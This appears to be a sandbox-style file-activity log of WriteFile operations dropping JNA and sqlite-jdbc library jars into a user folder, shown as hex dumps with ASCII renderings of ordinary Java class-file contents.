01 00 10 4c 6a 61 76 
61 2f 61 77 74 2f 53 
68 61 70 65 3b 01 00 
06 3c 69 6e 69 74 3e 
01 00 17 28 4c 6a 61 
76 61 2f 61 77 74 2f 
43 6f 6d 70 6f 6e 65 
6e 74 3b 29 56 01 00 
04 43 6f 64 65 01 00 
0f 4c 69 6e 65 4e 75 
6d 62 65 72 54 61 62 
6c 65 01 

MaskingContentPane.clas
s......
.2.c..6....7....8..9....:....;....
<..=.>..?..@.A....B....C..
..D....E....F....G....H..I..J.
..serialVersionUID...J...Co
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ava/awt/Shape;...<init>...
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va/awt/Component;)V...Co
de...LineNumberTable.
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4f ba 15 e7 37 1c 33 
5f d9 5a 5b dc 7c 9d 
ad b5 bb f4 d0 81 e9 
4e 0f 7d 74 c1 4e e4 
a0 cd da 16 cc d9 0a 
c0 06 23 4d 11 d7 d5 
e6 fb 79 0f e8 d5 05 
ea 56 53 78 50 dc 05 
49 45 07 c5 2e 30 78 
77 21 9f d2 0b c6 74 
bd c8 be 1b 85 ba ba 
8b 22 fb 2e b3 f4 2c 
e3 0e 2a 98 25 b2 e4 
3d f4 a0 77 d3 9f fc d0 
b6 e1 75 3a a4 e0 b5 
1b 24 3c 0c a9 f0 08 
f2 fd a3 90 03 7b 61 
34 3c 0e 85 f0 04 4c 
83 27 61 16 ec 83 32 
e8 85 0a 38 00 55 f0 
34 d4 c0 b3 da 39 58 
6b 89 0d 9b 76 ae e2 
78 7a fa 16 f1 02 b6 
55 a9 9d a7 9d 8f b0 
a7 42 a9 76 01 3e 71 
6c af 50 bb 10 31 a1 
63 ab a3 b5 8b f0 c9 
c0 b6 73 b4 6f e3 93 
c0 1e 32 b5 8b f1 49 
6a 97 60 3b a3 41 ff 
0a 06 4b ed 52 fc 9f 
1d 85 3c 30 a5 b6 5d 
fd af 72 f0 1f ca 19 94 
14 97 69 97 db 78 82 
4a ec 8b fe 05 7a 41 
f4 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 61 69 6e 74 01 00 11 
6a 61 76 61 2f 61 77 
74 2f 47 72 61 70 68 
69 63 73 01 00 06 63 
72 65 61 74 65 01 00 
15 28 29 4c 6a 61 76 
61 2f 61 77 74 2f 47 
72 61 70 68 69 63 73 
3b 01 00 17 6a 61 76 
61 2f 61 77 74 2f 41 
6c 70 68 61 43 6f 6d 
70 6f 73 69 74 65 01 
00 05 43 6c 65 61 72 
01 00 19 4c 6a 61 76 
61 2f 61 77 74 2f 41 
6c 70 68 61 43 6f 6d 
70 6f 73 69 74 65 3b 
01 00 0c 73 65 74 43 
6f 6d 70 6f 73 69 74 
65 01 00 17 28 4c 6a 
61 76 61 2f 61 77 74 
2f 43 6f 6d 70 6f 73 69 
74 65 3b 29 56 01 00 
08 67 65 74 57 69 64 
74 68 01 00 03 28 29 
49 01 00 09 67 65 74 
48 65 69 67 68 74 01 
00 08 66 69 6c 6c 52 
65 63 74 01 00 07 28 
49 49 49 49 29 56 01 
00 07 64 69 73 70 6f 
73 65 01 00 07 73 65 
74 43 6c 69 70 01 00 
20 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 57 

aint...java/awt/Graphics...c
reate...
()Ljava/awt/Graphics;...
java/awt/AlphaComposite..
.Clea
r...Ljava/awt/AlphaCompos
ite;...setComposite...
(Ljava/awt/Co
mposite;)V...getWidth...
()I...getHeight...fillRect...
(IIII)V...dispose...setClip.. 
com/sun/jna/platform/W
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89 03 4b c2 09 be c6 
05 79 a2 d3 b6 91 bf 
0f d2 1f 53 b3 4f 2d 0a 
ca 64 83 3c ad 18 da 
b5 da 77 30 cf 47 fb 
aa 78 1f 4f 5b a9 ea 
7e 83 76 23 fd 1d 0f 
3a c2 83 b5 ed 46 35 
a7 d1 5e 18 f0 70 5c 
a3 b3 62 1a bd 59 bb 
05 5f ef a0 3f f5 82 10 
ed c4 66 6e d5 6e 4b 
d0 8c 3f be 99 79 31 
cd 7c 5f bb 3d ae 99 
3b b4 3b 9d 66 a6 53 
1e 95 3d 00 19 2b 09 
a2 7d 90 b9 27 ae b5 
5a 4f 6b 56 02 a0 ee 
d2 76 f5 d3 9a 3f 41 
6b ab 62 5a 8b 83 8d 
99 da dd 38 44 c2 d8 
3d da bd ce 34 9c 85 
ef d4 5f e9 c0 16 b3 
e6 0e 4f ba 71 27 4e 
e6 6e 48 a6 4e 86 3b 
3d d8 73 ed 23 1a 63 
0d 60 b0 46 d5 cb 40 
45 73 d9 da 7d da 6e 
c2 04 64 50 78 0e b6 
7a 89 5d f6 08 a4 e9 
f3 a5 f6 20 ce db 43 
5a b7 d2 6c 0f 6b 8f 
38 7c 9d 85 44 48 bd 
ae 61 55 f9 2f 43 39 f6 
3d b0 6a 37 cc aa de 

v.v5N+...K.....y........S.O-..
d.<.....w0.G..x.O[..~.v#...:..
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 00 00 03 00 1e 00 00 
00 12 00 04 00 00 05 
af 00 0b 05 b0 00 0f 
05 b1 00 16 05 b3 00 
1f 00 00 00 16 00 02 
00 00 00 17 00 20 00 
25 00 00 00 00 00 17 
00 26 00 27 00 01 00 
28 00 00 00 0f 00 01 
ff 00 16 00 02 07 00 
29 07 00 2a 00 00 00 
01 00 2b 00 2c 00 01 
00 1d 00 00 00 46 00 
02 00 02 00 00 00 0a 
2a 2b b5 00 06 2a b6 
00 07 b1 00 00 00 02 
00 1e 00 00 00 0e 00 
03 00 00 05 b6 00 05 
05 b7 00 09 05 b8 00 
1f 00 00 00 16 00 02 
00 00 00 0a 00 20 00 
25 00 00 00 00 00 0a 
00 19 00 1a 00 01 00 
01 00 2d 00 2e 00 01 
00 1d 00 00 00 bf 00 
05 00 03 00 00 00 4a 
2b b6 00 08 c0 00 09 
4d 2c b2 00 0a b6 00 
0b 2c 03 03 2a b6 00 
0c 2a b6 00 0d b6 00 
0e 2c b6 00 0f 2a b4 
00 06 c6 00 1f 2b b6 
00 08 c0 00 09 4d 2c 
2a b4 00 06 b6 00 10 
2a 2c b7 00 11 2c b6 
00 0f a7 00 08 2a 2b 
b7 00 11 

........................................ 
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6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 57 69 
6e 64 6f 77 55 74 69 
6c 73 24 4d 61 63 57 
69 6e 64 6f 77 55 74 
69 6c 73 24 4f 53 58 
4d 61 73 6b 69 6e 67 
43 6f 6e 74 65 6e 74 
50 61 6e 65 3b 01 00 
07 63 6f 6e 74 65 6e 
74 01 00 47 4c 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 57 69 
6e 64 6f 77 55 74 69 
6c 73 24 4d 61 63 57 
69 6e 64 6f 77 55 74 
69 6c 73 24 4f 53 58 
4d 61 73 6b 69 6e 67 
43 6f 6e 74 65 6e 74 
50 61 6e 65 3b 01 00 
03 72 70 63 01 00 1f 
4c 6a 61 76 61 78 2f 
73 77 69 6e 67 2f 52 
6f 6f 74 50 61 6e 65 
43 6f 6e 74 61 69 6e 
65 72 3b 01 00 0a 6f 
6c 64 43 6f 6e 74 65 
6e 74 01 00 14 4c 6a 
61 76 61 2f 61 77 74 
2f 43 6f 6e 74 61 69 
6e 65 72 3b 01 00 14 
4c 6a 61 76 61 2f 61 
77 74 2f 43 6f 6d 70 6f 
6e 65 6e 74 3b 01 00 
01 77 

m/sun/jna/platform/Windo
wUtils
$MacWindowUtils$OSXMa
skingCont
entPane;...content..GLcom
/sun/
jna/platform/WindowUtils$
MacWi
ndowUtils$OSXMaskingCo
ntentPan
e;...rpc...Ljavax/swing/Root
Pa
neContainer;...oldContent..
.Lj
ava/awt/Container;...Ljava/
awt/Component;...w
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 3e c1 a7 2a 6e c9 21 
87 09 0a ac e2 17 68 
d4 83 96 f3 c5 a0 ca 
43 93 f7 4d 79 15 65 
e9 ad ab a8 80 ab c8 
e3 8e 8a 3d 4c 50 6e 
f9 43 7e 68 8b 57 e4 
51 95 a4 fb 30 54 1c 
48 c6 1b 21 46 ca d3 
08 97 a6 e2 5b 7c 27 
73 7a ae c0 54 71 08 
2a 76 a0 6d 55 2a 6c 
dc 24 71 9a 9a ad 95 
0f bc 76 f5 b4 f4 9d 21 
13 66 58 20 31 eb 82 
af da 6e a9 5e ab d9 
c2 e5 95 06 e9 25 3e 
bf 07 ed f2 95 3a 14 
6d ad 22 b9 af b9 76 
d1 fe 95 8b 82 e6 90 
b0 fd 99 36 5d 24 f1 
e9 b3 17 ae f3 c4 70 
f7 a9 4d ed ea df 33 
28 d2 00 9d f7 ab 67 
95 61 24 f3 bf a7 b9 
97 1f d5 35 d3 59 ac 
d2 e7 cd fd 5c 62 26 
b7 aa 32 60 97 53 2f 
3b 41 31 03 99 c5 b6 
19 46 69 71 c8 70 ef 
3f 8f fa 3b 1c 7e ba c3 
d2 2d 59 ae 68 96 e6 
dd 20 49 c1 ab 86 e3 
72 71 d1 93 fe 4c 6b 
45 1e 41 4f 8d 22 b8 
de 3d b0 45 5f 0c c7 
47 
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5a dc 61 b7 b8 f4 d7 
e2 d2 df 18 97 fe 86 
bb f4 97 d6 87 fe 5a 
5c fa 6b 89 a7 3f 2f c6 
3e 8b c1 98 8f 4e e6 
3a 4c 3b cd 51 fe 17 
a2 a1 76 fe 5e 98 97 
bf 1f e6 6b e8 a6 b5 
23 72 16 54 a1 62 2d 
38 b8 0b 4e 2e c8 99 
52 53 d4 03 95 f9 f7 
c1 58 bc 2f ec 85 45 
3b 20 87 8a a3 cb b4 
b2 88 f5 40 f5 3e a8 
d9 0f 8b 39 2c 8f 68 df 
57 77 43 51 95 17 fd 
a7 d9 28 5f e2 af b3 
e7 61 89 bf 3e 8a f3 
c7 e8 c8 39 ba 5c 4b 
a1 d6 41 a6 72 dd b4 
1b 20 5d bb 09 b2 d0 
05 18 aa dd 0c 23 d0 
80 ce 47 93 77 aa 76 
2b 3a 61 b7 41 15 e6 
2f d1 ee 86 a5 68 94 
2f d3 ee 82 0b b4 7b 
15 82 11 49 30 02 0d 
89 7f 69 ff 46 64 0c 82 
99 da 7f 94 c6 c8 c2 
29 f9 af f6 05 f6 b5 0c 
c6 a3 1d f7 a5 42 dd 
85 da a1 38 5e a3 9c 
c3 8e 6b e3 07 e3 2b 
18 24 b5 23 6c da 97 
60 94 4a ed ab f1 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 69 6e 64 6f 77 3b 5a 
29 56 01 00 0b 74 72 
61 6e 73 70 61 72 65 
6e 74 01 00 01 5a 01 
00 0d 69 73 54 72 61 
6e 73 70 61 72 65 6e 
74 01 00 11 66 69 78 
57 69 6e 64 6f 77 44 
72 61 67 67 69 6e 67 
01 00 26 28 4c 6a 61 
76 61 2f 61 77 74 2f 
57 69 6e 64 6f 77 3b 
4c 6a 61 76 61 2f 6c 
61 6e 67 2f 53 74 72 
69 6e 67 3b 29 56 01 
00 01 70 01 00 17 4c 
6a 61 76 61 78 2f 73 
77 69 6e 67 2f 4a 52 
6f 6f 74 50 61 6e 65 
3b 01 00 0c 6f 6c 64 
44 72 61 67 67 61 62 
6c 65 01 00 13 4c 6a 
61 76 61 2f 6c 61 6e 
67 2f 42 6f 6f 6c 65 61 
6e 3b 01 00 07 63 6f 
6e 74 65 78 74 01 00 
0e 73 65 74 57 69 6e 
64 6f 77 41 6c 70 68 
61 01 00 15 28 4c 6a 
61 76 61 2f 61 77 74 
2f 57 69 6e 64 6f 77 
3b 46 29 56 01 00 05 
61 6c 70 68 61 01 00 
01 46 01 00 0d 73 65 
74 57 69 6e 64 6f 77 
4d 61 73 6b 01 00 2e 
28 4c 

indow;Z)V...transparent...Z
...
isTransparent...fixWindow
Dragging..&
(Ljava/awt/Window;Ljava/
lang/String;)V...p...Ljavax/s
w
ing/JRootPane;...oldDragg
able.
..Ljava/lang/Boolean;...con
text...setWindowAlpha...
(Ljava/aw
t/Window;F)V...alpha...F...
setWindowMask...(L

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 63 61 6c 6c 65 64 20 
62 65 66 6f 72 65 20 
74 68 65 20 77 69 6e 
64 6f 77 20 69 73 20 
72 65 61 6c 69 7a 65 
64 2c 20 6f 72 20 61 
70 70 6c 65 2e 61 77 
74 2e 64 72 61 67 67 
61 62 6c 65 57 69 6e 
64 6f 77 42 61 63 6b 
67 72 6f 75 6e 64 20 
6d 75 73 74 20 62 65 
20 73 65 74 20 74 6f 
20 42 6f 6f 6c 65 61 
6e 2e 46 41 4c 53 45 
20 62 65 66 6f 72 65 
20 74 68 65 20 77 69 
6e 64 6f 77 20 69 73 
20 72 65 61 6c 69 7a 
65 64 2e 20 20 49 66 
20 79 6f 75 20 72 65 
61 6c 6c 79 20 77 61 
6e 74 20 63 6f 6e 74 
65 6e 74 20 64 72 61 
67 67 69 6e 67 2c 20 
73 65 74 20 61 70 70 
6c 65 2e 61 77 74 2e 
64 72 61 67 67 61 62 
6c 65 57 69 6e 64 6f 
77 42 61 63 6b 67 72 
6f 75 6e 64 20 6f 6e 
20 74 68 65 20 77 69 
6e 64 6f 77 27 27 73 
20 72 6f 6f 74 20 70 
61 6e 65 20 74 6f 20 
42 6f 6f 6c 65 61 6e 
2e 54 52 

called before the window is 
realized, or 
apple.awt.draggable
WindowBackground must 
be set to Boolean.FALSE 
before the window is 
realized.  If you really want 
content dragging, set a
pple.awt.draggableWindow
Background on the 
window''s root pane to 
Boolean.TR
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 4c 9c 4d 4d 4a ba 5c 
5b 66 06 92 75 ca 41 
39 7b 79 5a c0 79 5e 
21 f3 0a b4 9f c0 28 
10 f9 92 2c 69 57 48 
9a 4a b3 3a 27 b7 c7 
54 5f 9f 5b e6 54 4f 4a 
ac 15 c2 68 a3 7d 89 
aa 51 4e 96 a7 a7 15 
2a c2 36 bd f1 db 27 
e5 83 78 95 97 eb 71 
2a ba bc 35 1d d2 ca 
a5 d2 24 25 00 f9 2a 
af c9 92 21 53 3a 18 
f2 b4 cc 0a b9 b3 41 
5b 6d 9e 94 2d 8f a5 
52 73 2c 35 6b 3a 0b 
0c 79 42 d3 93 66 f1 
0b 58 41 fb e7 12 68 
ad 68 72 45 d2 e4 a4 
54 22 27 9c 3f b7 cf 
98 20 db c4 d2 d4 09 
70 a1 87 48 83 36 2f 
21 bf a6 1b fc 99 17 
b0 ce 13 60 01 08 54 
41 8b 2d f6 0e af cd 
63 c2 2e 53 a0 e0 c4 
ba c0 8b c1 3c 32 4d 
12 8b ae b7 f9 57 cd 
27 1c cc 97 4b 29 b5 
40 19 e5 bb 8a 7a 40 
d2 0b e3 94 ad 08 11 
28 6b 85 84 da ee 21 
bd 80 48 79 a1 ce 1f 
1d 2f a9 08 a5 7f 96 
8e a4 8a 79 24 35 66 
72 6d 

L.MMJ.\[f..u.A9{yZ.y^!.....(..
.,iWH.J.:'..T_.
[.TOJ...h.}..QN
....*.6...'..x...q*..5.....$%.
.*...!S:.......A[m..-..Rs,5k:.
.yB..f..XA...h.hrE...T"'.?... 
.....p..H.6/!.........`..TA.-.
...c..S.......<2M.....W.'...K)
.@....z@.......(k....!..Hy....
/........y$5frm
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C:\Users\user\lib\jna-5.5.0.jard unknown 1024 6a 0f eb 0c 72 3a 36 
b0 bb 22 b4 1a 18 e2 
2d 59 79 e1 1a 4a ce 
09 91 15 5e 7e 2f 02 
44 6b 28 4f fa 2f ee 85 
4b 76 c2 c0 5e b8 74 
37 a4 2f 72 16 ea 2e 
43 28 2e f7 5f e1 bf 12 
79 63 91 ff aa 5e b8 
1a 15 31 9b 7b 00 ae 
59 59 b0 17 ae dd 07 
df a9 46 49 7a dd 0e 
56 84 b7 ef a2 a4 bd 
7e 25 fd 8a f6 c1 0d 
38 89 37 fa 6f f2 7f af 
07 6e de 07 b7 90 f9 
dd 03 3b 8a 0d d5 f0 
4e ff ad 64 74 8f a0 bc 
db 76 c0 14 27 f3 fb 
2a d3 7f 3b d9 e5 29 
cb e9 7a 47 c0 78 1c 
7c ce eb 3b d5 eb c7 
8a 51 7c ec da 01 bd 
01 c3 7f 77 0f dc b3 
03 52 fd 77 17 0b ff bd 
c5 72 37 24 e3 4d 60 
52 3a f2 3e 60 f0 80 
11 10 3d 70 5f 0f ec 
46 09 1f 90 b6 b1 1a 
07 07 c1 1c 30 10 68 
05 ce 99 df 0c 1c d3 
c6 55 c4 b8 b8 9f ba 
31 48 b7 3c 40 4f 66 
0f 3c 68 f7 49 8f 97 ef 
fe fa 1d ff 43 fe 6e 44 
27 19 86 

j...r:6.."....-Yy..J....^~/.Dk
(O./..Kv..^.t7./r...C(.._...yc
...^...1.{..YY.......FIz..V...
...~%.....8.7.o....n.......;..
..N..dt....v..'..*..;..)..zG.x
.|..;....Q|.......w....R.w....
.r7$.M`R:.>`....=p_..F........
..0.h........U.....1H.<@Of.
<h.I.......C.nD'..
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 d9 00 da 0c 00 5d 00 
5e 01 00 31 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 57 69 6e 
64 6f 77 55 74 69 6c 
73 24 4d 61 63 57 69 
6e 64 6f 77 55 74 69 
6c 73 24 31 0c 00 3d 
00 db 0c 00 dc 00 dd 
0c 00 de 00 df 0c 00 
68 00 6c 01 00 12 6a 
61 76 61 2f 61 77 74 
2f 52 65 63 74 61 6e 
67 6c 65 07 00 b6 0c 
00 e0 00 c0 0c 00 e1 
00 c0 0c 00 3d 00 e2 
01 00 0f 6a 61 76 61 
2f 61 77 74 2f 57 69 
6e 64 6f 77 0c 00 46 
00 47 0c 00 e3 00 e4 
0c 00 e5 00 6f 01 00 
12 74 72 61 6e 73 70 
61 72 65 6e 74 2d 6f 
6c 64 2d 62 67 01 00 
0e 6a 61 76 61 2f 61 
77 74 2f 43 6f 6c 6f 72 
0c 00 e6 00 e7 0c 00 
e8 00 c0 0c 00 e9 00 
c0 0c 00 ea 00 c0 01 
00 32 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 57 69 6e 64 6f 
77 55 74 69 6c 73 24 
4e 61 74 69 76 65 57 
69 6e 

.....].^..1com/sun/jna/platfor
m/WindowUtils$MacWindo
wUtils$1
..=..............h.l...java/aw
t/Rectangle...............=...
..java/awt/Window..F.G......
...o...transparent-old-
bg...java
/awt/Color....................
..2com/sun/jna/platform/Wi
ndowUtils$NativeWin

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 347 56 ea f9 b4 2f 93 4f f4 
f1 83 1d 20 f3 d1 84 
41 d9 f3 a3 1a 6f 4e 
8e 43 4f 1e 52 2a 72 
64 28 8a 74 a7 60 72 
40 47 49 fe e3 62 bd 
80 24 fa 9b c5 46 c0 
78 05 b2 02 ba aa 84 
ef 7d 05 45 6e f6 22 ff 
5b a8 46 8a 45 c1 f3 
f0 36 82 5e f0 1c bc 
dd 03 ef f4 c2 4f 7a e0 
a7 c5 e2 00 6c 77 dd 
b4 9f 91 fc d4 a9 d7 
77 e9 49 d0 93 bb d8 
f0 f3 67 d5 60 7e a1 
84 30 2b 16 74 7f af 
07 7e e9 ff 55 0f bc bf 
03 d6 da aa e8 d7 2b 
29 ff 83 7d f0 9b 7d f0 
db 62 b1 1b 32 48 35 
5c af 72 7f 87 f2 be 58 
a8 56 6e a5 c6 89 e4 
e9 7e db 4e 36 c2 0b 
c6 ef 1d 81 be c4 ff 87 
68 e7 8e ba fc 42 0d 
f8 8f c5 32 20 5f 81 e1 
de 5a 7f 8a 00 ef 54 
60 c5 66 2f fc b9 38 
c9 ff 62 2f fc 65 07 98 
fe bf ee 06 9d 05 50 
a6 7f 84 1a cb 61 1e 
ea fe 6f 0a a2 bf 47 20 
3a 00 1f af 0c 88 7d f0 
49 b1 39 40 87 a7 

V.../.O.... 
...A....oN.CO.R*rd
(.t.`r@GI..b..$...F.x.......}.
En.".[.F.E...6.^........Oz....
.lw........w.I......g.`~..0+.t
...~..U.........+)..}..}..b..2
H5\.r....X.Vn.....~.N6........
..h....B....2 _...Z....T`.f/..
8..b/.e........P.....a...o...G 
:.....}.I.9@..
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 2f 6c 6f 67 67 69 6e 
67 2f 4c 65 76 65 6c 
3b 4c 6a 61 76 61 2f 
6c 61 6e 67 2f 53 74 
72 69 6e 67 3b 5b 4c 
6a 61 76 61 2f 6c 61 
6e 67 2f 4f 62 6a 65 
63 74 3b 29 56 01 00 
0f 6a 61 76 61 2f 6c 
61 6e 67 2f 46 6c 6f 
61 74 01 00 07 76 61 
6c 75 65 4f 66 01 00 
14 28 46 29 4c 6a 61 
76 61 2f 6c 61 6e 67 
2f 46 6c 6f 61 74 3b 
01 00 46 28 4c 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 57 69 
6e 64 6f 77 55 74 69 
6c 73 24 4d 61 63 57 
69 6e 64 6f 77 55 74 
69 6c 73 3b 4c 6a 61 
76 61 2f 61 77 74 2f 
57 69 6e 64 6f 77 3b 
46 29 56 01 00 0f 77 
68 65 6e 44 69 73 70 
6c 61 79 61 62 6c 65 
01 00 2b 28 4c 6a 61 
76 61 2f 61 77 74 2f 
43 6f 6d 70 6f 6e 65 
6e 74 3b 4c 6a 61 76 
61 2f 6c 61 6e 67 2f 
52 75 6e 6e 61 62 6c 
65 3b 29 56 01 00 07 
74 6f 53 68 61 70 65 
01 00 29 

/logging/Level;Ljava/lang/S
tring;
[Ljava/lang/Object;)V...jav
a/lang/Float...valueOf...
(F)Lj
ava/lang/Float;..F(Lcom/su
n/jn
a/platform/WindowUtils$M
acWind
owUtils;Ljava/awt/Window;
F)V...whenDisplayable..+
(Ljava/awt/
Component;Ljava/lang/Run
nable;)V...toShape..)

success or wait 14 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 1024 43 6d 90 96 a3 0d 87 
ed da 58 ad 40 9b 00 
db d9 5e cc 99 ea dc 
cf 40 4a 5d a3 35 6a 
eb f1 7d ab d6 a1 6d 
c6 fb 54 cc 39 c3 75 
42 de 45 26 05 7d 02 
a4 e9 13 61 b8 3e 09 
46 e9 93 21 5f 9f 0a 
13 f4 69 30 4d 9f 01 
95 fa c9 b0 5a 3f 05 
2e d6 8b e1 1a 7d 26 
32 fe 6c 64 fa 39 f0 b0 
3e 17 9e d0 4b 61 bf 
5e 06 cf e9 e5 f0 8a 
5e 01 ef ea f3 19 d3 
2b 99 a5 2f 62 69 7a 
15 1b ae d7 b0 69 fa 
12 36 43 af 65 a7 e8 
a7 b1 f9 7a 1d 5b aa 
d7 b3 33 f4 a5 ec 7c 
7d 05 db ae af 64 d7 
ea ab d8 0d fa 6a f6 
a8 7e 26 db ab 37 b0 
7d 7a 23 7b 43 0f b1 
9f ea eb d8 7b fa 06 f6 
67 bd 89 fd 53 df c4 
be d4 9b 35 9f de a2 
0d d2 3b b5 11 7a 97 
36 56 df ac 4d d5 db 
b4 93 f4 b3 b5 33 30 
af 09 f3 5a 31 6f ab be 
55 3b 57 3f 47 f1 f3 2d 
a8 9f 9e 83 12 a5 51 
04 6a e5 54 14 3c f3 
50 2f ed 43 b1 36 

Cm.......X.@....^.....@J].5j..
}...m..T.9.uB.E&.}....a.>.F..!
_....i0M......Z?......}&2.ld.9
..>...Ka.^......^......+../biz
.....i..6C.e.....z.[...3...|}.
...d......j..~&..7.}z#{C......
{...g...S.....5.....;..z.6V..M
.......30...Z1o..U;W?G..-.....
.Q.j.T.<.P/.C.6
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 1d e4 35 45 9b cc c6 
26 8b 75 e5 e1 d8 93 
5f ac 2b 5d ad 67 b0 
00 62 0a 7b cb a3 74 
a1 83 cc 0c 36 58 e1 
72 08 56 ee 61 39 3d 
6c a8 8d 51 7b 08 f9 
ca 95 43 7b 8d 0d db 
09 46 21 ad c5 df b6 
13 c6 78 14 60 06 1b 
ee ac f9 65 b0 dc a8 
ea b3 6b f4 57 70 84 
a7 60 74 25 ed 4c 18 
84 93 f4 25 48 fd 10 
24 eb 87 21 53 3f 02 
39 fa 51 c8 47 34 4f 
32 34 28 37 38 b4 1a 
02 ba 0c 13 2e 36 92 
e0 16 23 19 76 19 29 
f0 a8 91 0a 7b 0d 3f fc 
dc c8 82 f7 8d 81 f0 
91 31 08 fe 6e 0c 86 
cf 8d 21 2c cb 18 ca 
72 8c 61 6c 8e 91 eb 
ee b3 67 e2 3c 76 29 
d3 b2 04 9d 1c fb e9 
26 7c da ac 9c 97 2e 
28 e6 5b 14 05 ef 42 
bb da ce 7b d4 2d 97 
0f 2f f0 ad ca 02 fe 39 
34 39 79 12 1d b0 6d 
2a 34 94 88 65 3a 58 
5f 21 91 2b b1 3f 0e 
85 e1 78 db 07 c9 3c 
02 49 98 fa 12 d2 8e 
c2 68 74 53 94 1f a3 
64 

..5E...&.u...._.+].g..b.{..t..

..6X.r.V.a9=l..Q{....C{....F!.

.....x.`.....e.....k.Wp..`t%.L

....%H..$..!S?.9.Q.G4O24(
78.......6...#.v.)....{.?.........1
..n....!,...r.al.....g.<v)....
...&|.....(.[...B...{.-../....
.949y...m*4..e:X_!.+.?...x...
<.I......htS...d

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 61 2f 61 77 74 2f 53 
68 61 70 65 3b 29 56 
01 00 09 4d 41 53 4b 
5f 4e 4f 4e 45 01 00 
0d 73 65 74 42 61 63 
6b 67 72 6f 75 6e 64 
01 00 13 28 4c 6a 61 
76 61 2f 61 77 74 2f 
43 6f 6c 6f 72 3b 29 
56 01 00 06 67 65 74 
52 65 64 01 00 08 67 
65 74 47 72 65 65 6e 
01 00 07 67 65 74 42 
6c 75 65 00 20 00 11 
00 36 00 00 00 01 00 
1a 00 3a 00 3b 00 01 
00 3c 00 00 00 02 00 
12 00 0a 00 02 00 3d 
00 3e 00 01 00 3f 00 
00 00 2f 00 01 00 01 
00 00 00 05 2a b7 00 
03 b1 00 00 00 02 00 
40 00 00 00 06 00 01 
00 00 05 2c 00 41 00 
00 00 0c 00 01 00 00 
00 05 00 42 00 43 00 
00 00 01 00 44 00 45 
00 01 00 3f 00 00 00 
2c 00 01 00 01 00 00 
00 02 04 ac 00 00 00 
02 00 40 00 00 00 06 
00 01 00 00 05 2f 00 
41 00 00 00 0c 00 01 
00 00 00 02 00 42 00 
43 00 00 00 02 00 46 
00 47 00 01 00 3f 00 
00 01 59 

a/awt/Shape;)V...MASK_N
ONE...setBackground...
(Ljava/awt/Colo
r;)V...getRed...getGreen...
getBlue. ...6.......:.;...<......
.....=.>...?.../........*.....
....@.........,.A...........B.
C.....D.E...?...,.............
..@........./.A...........B.C.
....F.G...?...Y
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C:\Users\user\lib\jna-5.5.0.jard unknown 1024 a1 2d 7b 1f 73 e7 62 
0a 4a 29 30 c6 80 6e 
8c 05 cb 28 04 bf 51 
04 c3 8c 09 30 ca 98 
88 f3 31 09 4e 31 26 
43 a5 31 05 56 1a 53 
61 0d be 0b 19 d3 15 
7e 17 20 b4 a3 60 96 
62 28 1d b1 75 92 52 
b3 06 54 a2 6f 72 2e 
29 4d c4 fe 69 6a 07 
8a e3 fb b5 4a 81 93 
44 5c c5 bf c5 cf c3 d1 
fb a1 9e 9f cf 2f 70 5c 
c2 31 14 3f 94 09 ba 
52 42 17 4a 7e 11 23 
dd 50 ee 22 ef 0b 30 
0e 81 11 63 e3 7f 9b 
5f ec a0 6e a6 b3 9c 
7d 15 d2 e2 d8 1d 70 
4a 41 2f 1b 37 3b e7 
76 c8 2c e0 bd 2c af 
26 07 b3 c7 17 f5 b2 
fc 0d dd 1e 1d 92 c1 
0a 62 97 b0 fd e7 d8 
7b 51 03 33 58 61 be 
da 47 b5 f2 d1 da 3e 
a7 97 15 75 e7 f7 b2 
09 dd d5 31 b5 27 da 
b5 bb 14 4f 4d 52 fa 
88 4d 8e 6e ed 21 90 
2b e1 0c a4 f4 a9 de 
9d 3d e3 54 90 c6 5c 
c4 73 09 a4 1b a5 30 
d0 28 83 11 c6 3c 98 
6d 2c 80 85 46 25 d4 
1a 

.-{.s.b.J)0..n...(..Q....0....
1.N1&C.1.V.Sa......~. 
..`.b(..
u.R..T.or.)M..ij.....J..D\....
......./p\.1.?...RB.J~.#.P."..
0...c..._..n...}.....pJA/.7;.v
.,..,.&..............b.....{Q.
3Xa..G....>...u......1.'....OM
R..M.n.!.+.......=.T..\.s....0.
(...<.m,..F%..
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 9f 00 19 05 a0 00 2c 
05 a5 00 41 00 00 00 
34 00 05 00 0c 00 20 
00 4f 00 50 00 03 00 
13 00 19 00 48 00 49 
00 04 00 00 00 2d 00 
42 00 43 00 00 00 00 
00 2d 00 6d 00 4e 00 
01 00 00 00 2d 00 6e 
00 6f 00 02 00 51 00 
00 00 3e 00 03 ff 00 
26 00 05 07 00 54 07 
00 57 07 00 70 07 00 
55 07 00 56 00 02 07 
00 54 07 00 55 ff 00 
00 00 05 07 00 54 07 
00 57 07 00 70 07 00 
55 07 00 56 00 03 07 
00 54 07 00 55 01 f9 
00 04 00 02 00 71 00 
72 00 01 00 3f 00 00 
01 42 00 07 00 06 00 
00 00 8c 2b c1 00 04 
99 00 0f 2b c0 00 04 
b9 00 10 01 00 a7 00 
04 01 3a 04 1c 99 00 
25 19 04 c6 00 0e 19 
04 12 2f 2b b6 00 0c 
